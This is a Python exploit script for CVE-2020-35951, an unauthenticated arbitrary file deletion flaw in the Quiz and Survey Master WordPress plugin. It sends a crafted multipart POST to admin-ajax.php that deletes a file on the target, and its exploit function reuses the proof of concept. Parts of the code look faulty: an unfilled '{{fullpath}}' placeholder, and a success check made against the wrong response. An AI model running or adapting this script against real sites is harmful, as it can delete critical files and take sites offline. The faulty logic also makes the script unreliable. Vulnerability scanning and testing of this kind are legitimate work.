CVE-2020-35951.py

import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Wordpress Quiz and Survey Master Arbitrary File Deletion''',
        "description": '''An issue was discovered in the Quiz and Survey Master plugin before 7.0.1 for WordPress. It allows users to delete arbitrary files such as wp-config.php file, which could effectively take a site offline and allow an attacker to reinstall with a WordPress instance under their control. This occurred via qsm_remove_file_fd_question, which allowed unauthenticated deletions (even though it was only intended for a person to delete their own quiz-answer files).''',
        "severity": "critical",
        "references": [
            "https://www.wordfence.com/blog/2020/08/critical-vulnerabilities-patched-in-quiz-and-survey-master-plugin/"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H",
            "cvss-score": "",
            "cve-id": "CVE-2020-35951",
            "cwe-id": "CWE-306"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2020", "wordpress", "wp-plugin"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        path = """/wp-content/plugins/quiz-master-next/README.md"""
        method = "GET"
        data = """"""
        headers = {}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/wp-content/plugins/quiz-master-next/tests/_support/AcceptanceTester.php"""
        method = "GET"
        data = """"""
        headers = {}
        resp1 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/wp-admin/admin-ajax.php"""
        method = "POST"
        data = """
------WebKitFormBoundaryBJ17hSJBjuGrnW92
Content-Disposition: form-data; name="action"

qsm_remove_file_fd_question
------WebKitFormBoundaryBJ17hSJBjuGrnW92
Content-Disposition: form-data; name="file_url"

{{fullpath}}wp-content/plugins/quiz-master-next/README.md
------WebKitFormBoundaryBJ17hSJBjuGrnW92--"""
        headers = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryBJ17hSJBjuGrnW92'}
        resp2 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/wp-content/plugins/quiz-master-next/README.md"""
        method = "GET"
        data = """"""
        headers = {}
        resp3 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if ("""{"type":"success","message":"File removed successfully"}""" in resp3.text):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url